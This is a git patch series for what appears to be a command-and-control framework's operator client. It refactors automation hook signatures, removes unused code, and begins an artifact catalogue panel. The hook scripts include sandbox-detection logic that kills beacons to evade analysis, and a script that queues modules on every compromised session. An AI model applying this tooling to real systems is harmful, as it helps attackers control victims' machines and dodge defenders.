self.printInTerminal("Script load errors:", "\n".join(failed)) + self.printInTerminal("Hook load errors:", "\n".join(failed)) - def dispatchHook(self, hookName, triggerDescription, *args): - self.lastHookContexts[hookName] = { - "args": args, - "trigger": triggerDescription, - "updated_at": datetime.now(), - } + def dispatchHook(self, hookName, context): + self.lastHookContexts[hookName] = context for state in self.scriptStates.values(): script = state["script"] if script is not None: - self.runScriptHook(script, hookName, hookName, *args) + self.runScriptHook(script, hookName, hookName, context) - def runScriptHook(self, script, hookName, displayName, *args): + def runScriptHook(self, script, hookName, displayName, context): scriptName = getattr(script, "__name__", script.__class__.__name__) hook = getattr(script, hookName, None) if hook is None: @@ -506,6 +591,8 @@ def runScriptHook(self, script, hookName, displayName, *args): "errors": 0, "last_error": "", "load_error": "", + "description": self.scriptDescription(script), + "hook_descriptions": self.scriptHookDescriptions(script), } self.scriptStates[scriptName] = state self.refreshAutomationTable() @@ -519,7 +606,7 @@ def runScriptHook(self, script, hookName, displayName, *args): self.updateAutomationRow(scriptName) try: - output = self.invokeScriptHook(hook, *args) + output = self.invokeScriptHook(hook, context) except Exception as exc: state["errors"] += 1 state["last_error"] = f"{hookName}: {exc}" @@ -540,25 +627,8 @@ def runScriptHook(self, script, hookName, displayName, *args): self.printInTerminal(displayName, output) return True - def invokeScriptHook(self, hook, *args): - fullArgs = (self.grpcClient, *args) - try: - signature = inspect.signature(hook) - except (TypeError, ValueError): - return hook(*fullArgs) - - parameters = list(signature.parameters.values()) - if any(param.kind == inspect.Parameter.VAR_POSITIONAL for param in parameters): - return hook(*fullArgs) - - positional = [ - param for param in parameters - if param.kind in ( - inspect.Parameter.POSITIONAL_ONLY, - inspect.Parameter.POSITIONAL_OR_KEYWORD, - ) - ] - return hook(*fullArgs[:len(positional)]) + def invokeScriptHook(self, hook, context): + return hook(self.grpcClient, context) def runSelectedHook(self): scriptName = self.selectedScriptName() @@ -572,19 +642,19 @@ def runSelectedHook(self): self.printInTerminal("Manual run blocked:", f"{self.displayScriptName(scriptName)} is disabled.") return - context = self.lastHookContexts.get(hookName) if hookName == "ManualStart": - args = (self.clientStateSnapshot(),) - elif context is None and hookName not in MANUAL_HOOKS_WITHOUT_CONTEXT: + context = self.buildHookContext(hookName, "manual", event={"action": "manual"}) + else: + context = self.lastHookContexts.get(hookName) + + if context is None: self.printInTerminal( "Manual run blocked:", f"{hookName} needs a captured trigger context. Trigger it once from the UI first.", ) return - else: - args = context["args"] if context is not None else () self.printInTerminal("Manual run:", f"{self.displayScriptName(scriptName)}.{hookName}") - self.runScriptHook(state["script"], hookName, hookName, *args) + self.runScriptHook(state["script"], hookName, hookName, context) def event(self, event): @@ -614,13 +684,13 @@ def printInTerminal(self, cmd, result): def _console_role_for_header(self, header): normalized = str(header or "").strip().rstrip(":").lower() if normalized in { - "loaded automations", - "automation command", + "loaded hooks", + "hook command", "manual context error", "manual run blocked", }: return "[system]", "system" - if normalized in {"script load errors", "script error"}: + if normalized in {"hook load errors", "script error"}: return "[error]", "error" if normalized == "manual run": return "[user]", "user" @@ -637,8 +707,8 @@ def runCommand(self): else: self.printInTerminal( - "Automation command:", - "Use the table to enable scripts and run hooks manually.", + "Hook command:", + "Use the table to enable hook files and run hooks manually.", ) diff --git a/C2Client/C2Client/Scripts/checkSandbox.py b/C2Client/C2Client/Scripts/checkSandbox.py index 348d3e6..551c7a7 100644 --- a/C2Client/C2Client/Scripts/checkSandbox.py +++ b/C2Client/C2Client/Scripts/checkSandbox.py @@ -4,8 +4,18 @@ from ..grpc_status import is_response_ok, response_message -def OnSessionStart(grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): +DESCRIPTION = "Stops new beacon sessions that look like the known sandbox hostname." +HOOK_DESCRIPTIONS = { + "OnSessionStart": "Checks the session object from the trigger snapshot and queues end when the hostname is sandboxhostname.", +} + + +def OnSessionStart(grpcClient, context): output = "" + session = context.get("object") or context.get("event", {}) + beaconHash = session.get("beacon_hash", "") + listenerHash = session.get("listener_hash", "") + hostname = session.get("hostname", "") if hostname == "sandboxhostname": output += "checkSandbox:\nSandbox detected ending beacon\n"; diff --git a/C2Client/C2Client/Scripts/loadCommonModules.py b/C2Client/C2Client/Scripts/loadCommonModules.py index 3e6c50a..c0c1e98 100644 --- a/C2Client/C2Client/Scripts/loadCommonModules.py +++ b/C2Client/C2Client/Scripts/loadCommonModules.py @@ -1,36 +1,42 @@ -import uuid - -from ..grpcClient import TeamServerApi_pb2 -from ..grpc_status import is_response_ok, response_message - -MODULES = ["ls", "cd", "pwd", "tree"] - -def ManualStart(grpcClient, context): - output = [] - - for session in context["sessions"]: - if session["killed"]: - continue - - selector = TeamServerApi_pb2.SessionSelector( - beacon_hash=session["beacon_hash"], - listener_hash=session["listener_hash"], - ) - - for module in MODULES: - command_line = f"loadModule {module}" - command = TeamServerApi_pb2.SessionCommandRequest( - session=selector, - command=command_line, - command_id=uuid.uuid4().hex, - ) - ack = grpcClient.sendSessionCommand(command) - if is_response_ok(ack): - output.append(f'{session["hostname"]}: queued {command_line}') - else: - output.append( - f'{session["hostname"]}: failed {command_line}: ' - + response_message(ack, "Command rejected.") - ) - - return "\n".join(output) \ No newline at end of file +import uuid + +from ..grpcClient import TeamServerApi_pb2 +from ..grpc_status import is_response_ok, response_message + +MODULES = ["ls", "cd", "pwd", "tree"] + +DESCRIPTION = "Queues common operator modules on every live session from the current client snapshot." +HOOK_DESCRIPTIONS = { + "ManualStart": "Manual hook that iterates every non-killed session and queues loadModule for common modules.", +} + + +def ManualStart(grpcClient, context): + output = [] + + for session in context["sessions"]: + if session["killed"]: + continue + + selector = TeamServerApi_pb2.SessionSelector( + beacon_hash=session["beacon_hash"], + listener_hash=session["listener_hash"], + ) + + for module in MODULES: + command_line = f"loadModule {module}" + command = TeamServerApi_pb2.SessionCommandRequest( + session=selector, + command=command_line, + command_id=uuid.uuid4().hex, + ) + ack = grpcClient.sendSessionCommand(command) + if is_response_ok(ack): + output.append(f'{session["hostname"]}: queued {command_line}') + else: + output.append( + f'{session["hostname"]}: failed {command_line}: ' + + response_message(ack, "Command rejected.") + ) + + return "\n".join(output) diff --git a/C2Client/C2Client/Scripts/startListenerHttp8443.py b/C2Client/C2Client/Scripts/startListenerHttp8443.py index 9fe30a7..b1d0686 100644 --- a/C2Client/C2Client/Scripts/startListenerHttp8443.py +++ b/C2Client/C2Client/Scripts/startListenerHttp8443.py @@ -2,7 +2,13 @@ from ..grpc_status import operation_ack_text -def OnStart(grpcClient): +DESCRIPTION = "Ensures the default HTTPS listener exists when the client connects." +HOOK_DESCRIPTIONS = { + "OnStart": "Runs when the client connects or reconnects and asks the TeamServer to start HTTPS on 0.0.0.0:8443.", +} + + +def OnStart(grpcClient, context): output = "startListenerHttp8443:\nSend start listener https 8443\n"; listener = TeamServerApi_pb2.Listener( diff --git a/C2Client/C2Client/Scripts/template.py.example b/C2Client/C2Client/Scripts/template.py.example index 9b5cee4..80ac87a 100644 --- a/C2Client/C2Client/Scripts/template.py.example +++ b/C2Client/C2Client/Scripts/template.py.example @@ -1,6 +1,20 @@ from ..grpcClient import GrpcClient, TeamServerApi_pb2 +DESCRIPTION = "Example hook file showing the uniform HookName(grpcClient, context) API." +HOOK_DESCRIPTIONS = { + "ManualStart": "Manual hook with access to the full sessions/listeners snapshot.", + "OnStart": "Runs when the client connects or reconnects to the TeamServer.", + "OnStop": "Runs during client shutdown.", + "OnListenerStart": "Runs when a listener appears in the listener snapshot.", + "OnListenerStop": "Runs when a listener stop event is observed.", + "OnSessionStart": "Runs when a new session appears in the session snapshot.", + "OnSessionStop": "Runs when a session stop event is observed.", + "OnConsoleSend": "Runs after an operator command is queued from a beacon console.", + "OnConsoleReceive": "Runs when beacon command output is received.", +} + + def ManualStart(grpcClient: GrpcClient, context: dict) -> str: sessions = context.get("sessions", []) listeners = context.get("listeners", []) @@ -10,63 +24,51 @@ def ManualStart(grpcClient: GrpcClient, context: dict) -> str: return output -def OnStart(grpcClient: GrpcClient) -> str: +def OnStart(grpcClient: GrpcClient, context: dict) -> str: output = "Scrip test.py: OnStart\n" return output -def OnStop(grpcClient: GrpcClient) -> str: +def OnStop(grpcClient: GrpcClient, context: dict) -> str: output = "Scrip test.py: OnStop\n" return output -def OnListenerStart(grpcClient: GrpcClient) -> str: +def OnListenerStart(grpcClient: GrpcClient, context: dict) -> str: + listener = context.get("object") output = "Scrip test.py: OnListenerStart\n" + if listener: + output += f"Listener: {listener.get('listener_hash')}\n" return output -def OnListenerStop(grpcClient: GrpcClient) -> str: +def OnListenerStop(grpcClient: GrpcClient, context: dict) -> str: output = "Scrip test.py: OnListenerStop\n" return output -def OnSessionStart( - grpcClient: GrpcClient, - beaconHash, - listenerHash, - hostname, - username, - arch, - privilege, - os, - lastProofOfLife, - killed, -) -> str: +def OnSessionStart(grpcClient: GrpcClient, context: dict) -> str: + session = context.get("object") output = "Scrip test.py: OnSessionStart\n" + if session: + output += f"Session: {session.get('beacon_hash')}\n" return output -def OnSessionStop( - grpcClient: GrpcClient, - beaconHash, - listenerHash, - hostname, - username, - arch, - privilege, - os, - lastProofOfLife, - killed, -) -> str: +def OnSessionStop(grpcClient: GrpcClient, context: dict) -> str: output = "Scrip test.py: OnSessionStop\n" return output -def OnConsoleSend(grpcClient: GrpcClient) -> str: +def OnConsoleSend(grpcClient: GrpcClient, context: dict) -> str: + event = context.get("event", {}) output = "Scrip test.py: OnConsoleSend\n" + output += f"Command: {event.get('command', '')}\n" return output -def OnConsoleReceive(grpcClient: GrpcClient) -> str: +def OnConsoleReceive(grpcClient: GrpcClient, context: dict) -> str: + event = context.get("event", {}) output = "Scrip test.py: OnConsoleReceive\n" + output += f"Command ID: {event.get('command_id', '')}\n" return output diff --git a/C2Client/C2Client/SessionPanel.py b/C2Client/C2Client/SessionPanel.py index b45d95b..c1db694 100644 --- a/C2Client/C2Client/SessionPanel.py +++ b/C2Client/C2Client/SessionPanel.py @@ -469,7 +469,6 @@ def listSessions(self): for sessionStore in self.listSessionObject: #maj if session.listener_hash == sessionStore.listenerHash and session.beacon_hash == sessionStore.beaconHash: - self.sessionScriptSignal.emit("update", session.beacon_hash, session.listener_hash, session.hostname, session.username, session.arch, session.privilege, session.os, session.last_proof_of_life, session.killed) inStore=True sessionStore.lastProofOfLife=session.last_proof_of_life sessionStore.listenerHash=session.listener_hash @@ -493,9 +492,9 @@ def listSessions(self): sessionStore.processId=session.process_id if session.additional_information: sessionStore.additionalInformation=session.additional_information + self.sessionScriptSignal.emit("update", session.beacon_hash, session.listener_hash, session.hostname, session.username, session.arch, session.privilege, session.os, session.last_proof_of_life, session.killed) # add if not inStore: - self.sessionScriptSignal.emit("start", session.beacon_hash, session.listener_hash, session.hostname, session.username, session.arch, session.privilege, session.os, session.last_proof_of_life, session.killed) self.listSessionObject.append( Session( self.idSession, @@ -506,6 +505,7 @@ def listSessions(self): ) ) self.idSession = self.idSession+1 + self.sessionScriptSignal.emit("start", session.beacon_hash, session.listener_hash, session.hostname, session.username, session.arch, session.privilege, session.os, session.last_proof_of_life, session.killed) self.printSessions() diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index 3cd92e0..c38779b 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -238,6 +238,7 @@ def test_consoles_tab_uses_dark_flush_pages(qtbot, monkeypatch): assert consoles.objectName() == "C2ConsolesTab" assert consoles.tabs.objectName() == "C2ConsoleTabs" + assert consoles.tabs.tabText(1) == "Hooks" assert "#0b1117" in consoles.styleSheet() assert "#070b10" in consoles.styleSheet() assert consoles.layout.contentsMargins().left() == 0 diff --git a/C2Client/tests/test_script_panel.py b/C2Client/tests/test_script_panel.py index 1a35793..19beeeb 100644 --- a/C2Client/tests/test_script_panel.py +++ b/C2Client/tests/test_script_panel.py @@ -6,36 +6,31 @@ class RaisingScript: __name__ = "RaisingScript" @staticmethod - def OnStart(grpc_client): + def OnStart(grpc_client, context): raise RuntimeError("boom") class ConsoleContextScript: calls = [] + DESCRIPTION = "Console hook test file." + HOOK_DESCRIPTIONS = { + "OnConsoleSend": "Receives the unified console send context.", + } @staticmethod - def OnConsoleSend(grpc_client, beacon_hash, listener_hash, context, command, result, command_id): - ConsoleContextScript.calls.append( - (grpc_client, beacon_hash, listener_hash, context, command, result, command_id) - ) + def OnConsoleSend(grpc_client, context): + ConsoleContextScript.calls.append((grpc_client, context)) return "console send ok" -class LegacyConsoleScript: - calls = 0 - - @staticmethod - def OnConsoleSend(grpc_client): - LegacyConsoleScript.calls += 1 - return "legacy send ok" - - class OnStartScript: calls = 0 + contexts = [] @staticmethod - def OnStart(grpc_client): + def OnStart(grpc_client, context): OnStartScript.calls += 1 + OnStartScript.contexts.append(context) return "start ok" @@ -48,12 +43,12 @@ def ManualStart(grpc_client, context): return "manual ok" -class LegacyManualStartScript: +class OldManualStartScript: calls = 0 @staticmethod def ManualStart(grpc_client): - LegacyManualStartScript.calls += 1 + OldManualStartScript.calls += 1 return "legacy manual ok" @@ -91,6 +86,9 @@ def test_script_panel_lists_hooks_and_import_errors(qtbot, monkeypatch): assert script_panel.automationTable.rowCount() == 2 assert script_panel.scriptStates["ConsoleContextScript"]["hooks"] == ["OnConsoleSend"] assert script_panel.scriptStates["C2Client.Scripts.badScript"]["errors"] == 1 + row = script_panel.tableItemsByScript["ConsoleContextScript"] + assert "Console hook test file." in script_panel.automationTable.item(row, 1).toolTip() + assert "Receives the unified console send context." in script_panel.automationTable.item(row, 2).toolTip() def test_script_console_uses_role_badges_without_default_marker(qtbot, monkeypatch): @@ -103,24 +101,39 @@ def test_script_console_uses_role_badges_without_default_marker(qtbot, monkeypat script_panel.mainScriptMethod("start", "", "", "") output = script_panel.editorOutput.toPlainText() - assert "[system] Loaded automations:" in output + assert "[system] Loaded hooks:" in output assert "[script] OnStart" in output assert "[+]" not in output assert output.endswith("\n\n") -def test_console_hook_receives_context_and_legacy_signature_still_works(qtbot, monkeypatch): +def test_console_hook_receives_unified_context(qtbot, monkeypatch): ConsoleContextScript.calls = [] - LegacyConsoleScript.calls = 0 grpc_client = object() - monkeypatch.setattr( - "C2Client.ScriptPanel.LoadedScripts", - [ConsoleContextScript, LegacyConsoleScript], - ) + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [ConsoleContextScript]) monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) script_panel = Script(None, grpc_client) qtbot.addWidget(script_panel) + script_panel.setClientStateProvider( + lambda: { + "sessions": [ + { + "beacon_hash": "beacon", + "listener_hash": "listener", + "hostname": "host", + } + ], + "listeners": [ + { + "listener_hash": "listener", + "type": "https", + "host": "0.0.0.0", + "port": 8443, + } + ], + } + ) script_panel.consoleScriptMethod( "send", @@ -132,11 +145,17 @@ def test_console_hook_receives_context_and_legacy_signature_still_works(qtbot, m "cmd-1", ) - assert ConsoleContextScript.calls == [ - (grpc_client, "beacon", "listener", "Host host - Username user", "whoami", "", "cmd-1") - ] - assert LegacyConsoleScript.calls == 1 - assert script_panel.lastHookContexts["OnConsoleSend"]["args"][3] == "whoami" + assert len(ConsoleContextScript.calls) == 1 + context = ConsoleContextScript.calls[0][1] + assert ConsoleContextScript.calls[0][0] is grpc_client + assert context["hook"] == "OnConsoleSend" + assert context["trigger"] == "send" + assert context["object_type"] == "session" + assert context["object_id"] == "beacon" + assert context["object"]["hostname"] == "host" + assert context["event"]["command"] == "whoami" + assert context["event"]["command_id"] == "cmd-1" + assert script_panel.lastHookContexts["OnConsoleSend"]["event"]["command"] == "whoami" def test_disabled_script_does_not_run_automatically(qtbot, monkeypatch): @@ -189,12 +208,13 @@ def test_manual_run_replays_last_hook_context(qtbot, monkeypatch): script_panel.runSelectedHook() assert len(ConsoleContextScript.calls) == 2 - assert ConsoleContextScript.calls[1][4] == "whoami" + assert ConsoleContextScript.calls[1][1]["event"]["command"] == "whoami" assert script_panel.scriptStates["ConsoleContextScript"]["activations"] == 2 def test_onstart_trigger_subtlety_is_available_in_hook_tooltip(qtbot, monkeypatch): OnStartScript.calls = 0 + OnStartScript.contexts = [] monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [OnStartScript]) monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) @@ -207,6 +227,8 @@ def test_onstart_trigger_subtlety_is_available_in_hook_tooltip(qtbot, monkeypatc script_panel.mainScriptMethod("start", "", "", "") assert OnStartScript.calls == 1 + assert OnStartScript.contexts[0]["hook"] == "OnStart" + assert OnStartScript.contexts[0]["trigger"] == "start" assert "Trigger:" not in script_panel.editorOutput.toPlainText() @@ -252,19 +274,20 @@ def test_manual_start_hook_runs_without_captured_context(qtbot, monkeypatch): assert "manual ok" in script_panel.editorOutput.toPlainText() -def test_legacy_manual_start_hook_still_runs_without_context_arg(qtbot, monkeypatch): - LegacyManualStartScript.calls = 0 - monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [LegacyManualStartScript]) +def test_old_hook_signature_is_not_supported(qtbot, monkeypatch): + OldManualStartScript.calls = 0 + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [OldManualStartScript]) monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) script_panel = Script(None, object()) qtbot.addWidget(script_panel) script_panel.setClientStateProvider(lambda: {"sessions": [{"beacon_hash": "beacon"}], "listeners": []}) - row = script_panel.tableItemsByScript["LegacyManualStartScript"] + row = script_panel.tableItemsByScript["OldManualStartScript"] script_panel.automationTable.setCurrentCell(row, 1) script_panel.updateManualHookSelector() script_panel.runSelectedHook() - assert LegacyManualStartScript.calls == 1 - assert script_panel.scriptStates["LegacyManualStartScript"]["activations"] == 1 + assert OldManualStartScript.calls == 0 + assert script_panel.scriptStates["OldManualStartScript"]["activations"] == 1 + assert script_panel.scriptStates["OldManualStartScript"]["errors"] == 1 From 2b6f492c8a38d8111417abee4c5da04fc4d163fc Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 09:28:39 +0200 Subject: [PATCH 21/82] Cleaning --- C2Client/C2Client/ConsolePanel.py | 18 +---- C2Client/C2Client/GUI.py | 12 --- C2Client/C2Client/GraphPanel.py | 1 - C2Client/C2Client/ScriptPanel.py | 80 +------------------ C2Client/C2Client/SessionPanel.py | 3 - .../TerminalModules/Batcave/batcave.py | 1 - C2Client/C2Client/TerminalPanel.py | 6 -- C2Client/tests/test_console_panel.py | 1 - C2Client/tests/test_grpc_client.py | 2 - C2Client/tests/test_protocol_bindings.py | 1 - 10 files changed, 4 insertions(+), 121 deletions(-) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 176d9be..ddd2a98 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -1,4 +1,3 @@ -import sys import os import time import re, html @@ -6,9 +5,8 @@ import json import logging from datetime import datetime -from threading import Thread, Lock -from PyQt6.QtCore import QObject, Qt, QEvent, QThread, QTimer, pyqtSignal, pyqtSlot +from PyQt6.QtCore import QObject, Qt, QEvent, QThread, QTimer, pyqtSignal from PyQt6.QtGui import QStandardItem, QStandardItemModel, QTextCursor, QTextDocument, QShortcut from PyQt6.QtWidgets import ( QWidget, @@ -21,11 +19,9 @@ QCheckBox, QLabel, QPushButton, - QTableWidget, - QTableWidgetItem, ) -from .grpcClient import GrpcClient, TeamServerApi_pb2 +from .grpcClient import TeamServerApi_pb2 from .TerminalPanel import Terminal from .ScriptPanel import Script from .AssistantPanel import Assistant @@ -494,16 +490,6 @@ def createConsolePage(self, child): layout.addWidget(child) return tab - @pyqtSlot() - def on_click(self): - for currentQTableWidgetItem in self.tableWidget.selectedItems(): - logger.debug( - "Selected console table cell row=%s column=%s text=%s", - currentQTableWidgetItem.row(), - currentQTableWidgetItem.column(), - currentQTableWidgetItem.text(), - ) - def addConsole(self, beaconHash, listenerHash, hostname, username): tabAlreadyOpen=False for idx in range(0,self.tabs.count()): diff --git a/C2Client/C2Client/GUI.py b/C2Client/C2Client/GUI.py index 0ebb05f..68158da 100644 --- a/C2Client/C2Client/GUI.py +++ b/C2Client/C2Client/GUI.py @@ -134,7 +134,6 @@ def __init__(self, ip: str, port: int, devMode: bool, credentials: Optional[Tupl except ValueError as e: raise e - self.createPayloadWindow: Optional[QWidget] = None self.operatorUsername = username or getattr(self.grpcClient, "username", "") or "unknown" self._lastRpcError = "" @@ -273,17 +272,6 @@ def __del__(self) -> None: self.consoleWidget.script.mainScriptMethod("stop", "", "", "") - def payloadForm(self) -> None: - """Display the payload creation window.""" - if self.createPayloadWindow is None: - try: - from .ScriptPanel import CreatePayload # type: ignore - except Exception: - CreatePayload = QWidget # fallback to simple widget - self.createPayloadWindow = CreatePayload() - self.createPayloadWindow.show() - - def build_arg_parser() -> argparse.ArgumentParser: """Build the CLI parser using environment-backed defaults.""" diff --git a/C2Client/C2Client/GraphPanel.py b/C2Client/C2Client/GraphPanel.py index d1442b0..5a62c01 100644 --- a/C2Client/C2Client/GraphPanel.py +++ b/C2Client/C2Client/GraphPanel.py @@ -1,4 +1,3 @@ -import sys import os import time import logging diff --git a/C2Client/C2Client/ScriptPanel.py b/C2Client/C2Client/ScriptPanel.py index 7c1e9aa..eb78f45 100644 --- a/C2Client/C2Client/ScriptPanel.py +++ b/C2Client/C2Client/ScriptPanel.py @@ -5,13 +5,11 @@ from pathlib import Path from datetime import datetime -from threading import Thread, Lock, Semaphore +from threading import Semaphore -from PyQt6.QtCore import Qt, QEvent, QTimer, pyqtSignal -from PyQt6.QtGui import QStandardItem, QStandardItemModel, QShortcut +from PyQt6.QtCore import Qt, QEvent, pyqtSignal from PyQt6.QtWidgets import ( QAbstractItemView, - QCompleter, QComboBox, QHBoxLayout, QHeaderView, @@ -202,14 +200,6 @@ def __init__(self, parent, grpcClient): self.printLoadedAutomationSummary() - def nextCompletion(self): - index = self._compl.currentIndex() - self._compl.popup().setCurrentIndex(index) - start = self._compl.currentRow() - if not self._compl.setCurrentRow(start + 1): - self._compl.setCurrentRow(0) - - def sessionScriptMethod(self, action, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): hookName = SESSION_HOOKS.get(action) if not hookName: @@ -722,81 +712,15 @@ def setCursorEditorAtEnd(self): class CommandEditor(QLineEdit): tabPressed = pyqtSignal() - cmdHistory = [] - idx = 0 def __init__(self, parent=None): super().__init__(parent) - QShortcut(Qt.Key.Key_Up, self, self.historyUp) - QShortcut(Qt.Key.Key_Down, self, self.historyDown) - - # self.codeCompleter = CodeCompleter(completerData, self) - # # needed to clear the completer after activation - # self.codeCompleter.activated.connect(self.onActivated) - # self.setCompleter(self.codeCompleter) - # self.tabPressed.connect(self.nextCompletion) - - def nextCompletion(self): - index = self.codeCompleter.currentIndex() - self.codeCompleter.popup().setCurrentIndex(index) - start = self.codeCompleter.currentRow() - if not self.codeCompleter.setCurrentRow(start + 1): - self.codeCompleter.setCurrentRow(0) - def event(self, event): if event.type() == QEvent.Type.KeyPress and event.key() == Qt.Key.Key_Tab: self.tabPressed.emit() return True return super().event(event) - def historyUp(self): - if(self.idx=0): - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] - self.idx=max(self.idx-1,0) - self.setText(cmd.strip()) - - def historyDown(self): - if(self.idx=0): - self.idx=min(self.idx+1,len(self.cmdHistory)-1) - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] - self.setText(cmd.strip()) - - def setCmdHistory(self): - cmdHistoryFile = open('.termHistory') - self.cmdHistory = cmdHistoryFile.readlines() - self.idx=len(self.cmdHistory)-1 - cmdHistoryFile.close() - def clearLine(self): self.clear() - - def onActivated(self): - QTimer.singleShot(0, self.clear) - - -class CodeCompleter(QCompleter): - ConcatenationRole = Qt.ItemDataRole.UserRole + 1 - - def __init__(self, data, parent=None): - super().__init__(parent) - self.createModel(data) - - def splitPath(self, path): - return path.split(' ') - - def pathFromIndex(self, ix): - return ix.data(CodeCompleter.ConcatenationRole) - - def createModel(self, data): - def addItems(parent, elements, t=""): - for text, children in elements: - item = QStandardItem(text) - data = t + " " + text if t else text - item.setData(data, CodeCompleter.ConcatenationRole) - parent.appendRow(item) - if children: - addItems(item, children, data) - model = QStandardItemModel(self) - addItems(model, data) - self.setModel(model) diff --git a/C2Client/C2Client/SessionPanel.py b/C2Client/C2Client/SessionPanel.py index c1db694..b019074 100644 --- a/C2Client/C2Client/SessionPanel.py +++ b/C2Client/C2Client/SessionPanel.py @@ -397,9 +397,6 @@ def resizeEvent(self, event): self.listSession.verticalHeader().setVisible(False) - def switch_to_interactive(self): - return - def __del__(self): self.getSessionsWorker.quit() self.thread.quit() diff --git a/C2Client/C2Client/TerminalModules/Batcave/batcave.py b/C2Client/C2Client/TerminalModules/Batcave/batcave.py index f851164..a329b29 100644 --- a/C2Client/C2Client/TerminalModules/Batcave/batcave.py +++ b/C2Client/C2Client/TerminalModules/Batcave/batcave.py @@ -1,7 +1,6 @@ from pathlib import Path import logging import requests -import json import zipfile import os diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index 2a0fd8c..e0616f0 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -99,12 +99,6 @@ exc_info=logger.isEnabledFor(logging.DEBUG), ) -# -# ShellCode modules -# - -import donut - configuredShellCodeModulesDir = env_path("C2_SHELLCODE_MODULES_DIR") configuredShellCodeModulesPath = env_path("C2_SHELLCODE_MODULES_CONF") try: diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index c38779b..c6e6991 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -1,7 +1,6 @@ import os from types import SimpleNamespace -import pytest from PyQt6.QtWidgets import QWidget import C2Client.grpcClient as grpc_client_module diff --git a/C2Client/tests/test_grpc_client.py b/C2Client/tests/test_grpc_client.py index 7b37e57..1b26bf4 100644 --- a/C2Client/tests/test_grpc_client.py +++ b/C2Client/tests/test_grpc_client.py @@ -1,6 +1,4 @@ import grpc -import os -from types import SimpleNamespace from unittest import mock import pytest diff --git a/C2Client/tests/test_protocol_bindings.py b/C2Client/tests/test_protocol_bindings.py index f2dd92f..9d04c09 100644 --- a/C2Client/tests/test_protocol_bindings.py +++ b/C2Client/tests/test_protocol_bindings.py @@ -1,6 +1,5 @@ import importlib import sys -from pathlib import Path def test_protocol_bindings_loads_importable_package_without_build_tree(monkeypatch, tmp_path): From f566321be2c80051d140549dafefb9c5d1c527df Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 12:03:05 +0200 Subject: [PATCH 22/82] ArtifactService --- C2Client/C2Client/ArtifactPanel.py | 277 ++++++++++++++++++ C2Client/C2Client/ConsolePanel.py | 17 +- C2Client/C2Client/grpcClient.py | 7 + C2Client/tests/test_artifact_panel.py | 98 +++++++ C2Client/tests/test_console_panel.py | 7 + C2Client/tests/test_grpc_client.py | 22 ++ protocol/TeamServerApi.proto | 30 ++ teamServer/CMakeLists.txt | 7 + teamServer/teamServer/TeamServer.cpp | 14 + teamServer/teamServer/TeamServer.hpp | 4 + .../teamServer/TeamServerArtifactCatalog.cpp | 262 +++++++++++++++++ .../teamServer/TeamServerArtifactCatalog.hpp | 45 +++ .../teamServer/TeamServerArtifactService.cpp | 56 ++++ .../teamServer/TeamServerArtifactService.hpp | 30 ++ .../tests/TeamServerArtifactCatalogTests.cpp | 219 ++++++++++++++ 15 files changed, 1094 insertions(+), 1 deletion(-) create mode 100644 C2Client/C2Client/ArtifactPanel.py create mode 100644 C2Client/tests/test_artifact_panel.py create mode 100644 teamServer/teamServer/TeamServerArtifactCatalog.cpp create mode 100644 teamServer/teamServer/TeamServerArtifactCatalog.hpp create mode 100644 teamServer/teamServer/TeamServerArtifactService.cpp create mode 100644 teamServer/teamServer/TeamServerArtifactService.hpp create mode 100644 teamServer/tests/TeamServerArtifactCatalogTests.cpp diff --git a/C2Client/C2Client/ArtifactPanel.py b/C2Client/C2Client/ArtifactPanel.py new file mode 100644 index 0000000..616c4cf --- /dev/null +++ b/C2Client/C2Client/ArtifactPanel.py @@ -0,0 +1,277 @@ +from __future__ import annotations + +from typing import Any + +from PyQt6.QtCore import Qt +from PyQt6.QtWidgets import ( + QApplication, + QAbstractItemView, + QComboBox, + QHBoxLayout, + QHeaderView, + QLabel, + QLineEdit, + QPushButton, + QSizePolicy, + QTableWidget, + QTableWidgetItem, + QVBoxLayout, + QWidget, +) + +from .grpcClient import TeamServerApi_pb2 +from .panel_style import apply_dark_panel_style +from .ui_status import StatusKind, apply_status, compact_message + + +ArtifactTabTitle = "Artifacts" + +ALL_FILTER = "All" +CATEGORY_FILTERS = [ALL_FILTER, "module", "beacon", "tool", "script"] +PLATFORM_FILTERS = [ALL_FILTER, "windows", "linux", "server", "any"] +ARCH_FILTERS = [ALL_FILTER, "x64", "x86", "arm64", "any"] + +COL_CATEGORY = 0 +COL_NAME = 1 +COL_PLATFORM = 2 +COL_ARCH = 3 +COL_FORMAT = 4 +COL_SIZE = 5 +COL_SHA256 = 6 +COL_SCOPE = 7 +COL_SOURCE = 8 + + +def _text(value: Any) -> str: + return str(value or "").strip() + + +def _field(artifact: Any, name: str, default: Any = "") -> Any: + return getattr(artifact, name, default) + + +def _short_hash(value: Any, length: int = 12) -> str: + text = _text(value) + if len(text) <= length: + return text + return text[:length] + + +def format_size(size: Any) -> str: + try: + value = int(size) + except (TypeError, ValueError): + return "0 B" + + if value < 0: + value = 0 + + units = ["B", "KB", "MB", "GB"] + size_float = float(value) + unit_index = 0 + while size_float >= 